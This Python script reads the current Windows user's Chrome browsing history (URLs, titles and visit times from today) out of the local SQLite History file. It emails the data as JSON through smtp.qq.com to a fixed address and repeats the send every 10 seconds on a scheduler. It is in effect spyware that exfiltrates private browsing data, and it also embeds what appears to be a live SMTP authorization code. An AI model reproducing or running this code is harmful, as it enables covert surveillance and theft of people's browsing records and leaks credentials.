import sqlite3 as db
import getpass
user_name = getpass.getuser()
def readFronSqllite(db_path,exectCmd):
conn = db.connect(db_path)
cursor=conn.cursor()
conn.row_factory=db.Row
cursor.execute(exectCmd)
rows=cursor.fetchall()
return rows
path1 = '''C:/Users/'''
path2 = "/AppData/Local/Google/Chrome/User Data/Profile 3/History"
print(user_name)
path = path1 + user_name + path2;
sql = "select url,title,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') as time from urls where datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') >=datetime('now','start of day','+0 day') and datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime')<datetime('now','start of day','+1 day')"
result = readFronSqllite(path,sql)
import smtplib
import json
from email.mime.text import MIMEText
from email.header import Header
receivers = ['[email protected]']
sender = '[email protected]'
message = MIMEText( json.dumps(result, ensure_ascii=False), 'plain', 'utf-8')
message['From'] = Header("devin", 'utf-8')
message['To'] = Header("简单", 'utf-8')
def sendEmail():
subject = '谷歌浏览器'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect("smtp.qq.com", 25)
smtpObj.login("[email protected]","password")
smtpObj.sendmail(sender, receivers, message.as_string())
print( "邮件发送成功")
except smtplib.SMTPException:
print ("Error: 无法发送邮件")
def sendEmail():
subject = '谷歌浏览器'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect("smtp.qq.com", 25)
smtpObj.login("[email protected]","wjenghtjbtxnfjgi")
smtpObj.sendmail(sender, receivers, message.as_string())
print( "邮件发送成功")
except smtplib.SMTPException:
print ("Error: 无法发送邮件")
from datetime import datetime
import os
from apscheduler.schedulers.blocking import BlockingScheduler
if __name__ == '__main__':
scheduler = BlockingScheduler()
scheduler.add_job(sendEmail, 'interval', seconds=10)
print('Press Ctrl+{0} to exit'.format('Break' if os.name == 'nt' else 'C '))
try:
scheduler.start()
except (KeyboardInterrupt, SystemExit):
pass